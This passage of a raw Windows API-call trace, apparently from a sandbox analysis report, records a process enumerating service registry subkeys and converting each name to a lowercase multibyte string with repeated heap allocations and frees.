lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0253.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0253.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0253.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0253.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0253.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.795] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.795] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0253.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.795] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0253.795] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0253.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0253.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0253.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0253.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0253.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1e38, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0253.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.796] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.796] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0253.796] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.796] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0253.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0253.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0253.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0253.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1c40, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0253.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.797] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0253.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0253.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.797] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1e38, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0253.797] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.797] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0253.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0253.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0253.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0253.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0253.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0253.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1c40, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0253.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.798] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.798] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0253.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.798] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.798] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0253.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0253.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0253.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0253.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1e38, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0253.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0253.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.799] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0253.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.799] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.799] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0253.799] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1e38, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0253.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.800] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0253.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0253.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.800] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0253.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0253.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0253.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0253.800] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.800] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0253.800] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.800] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 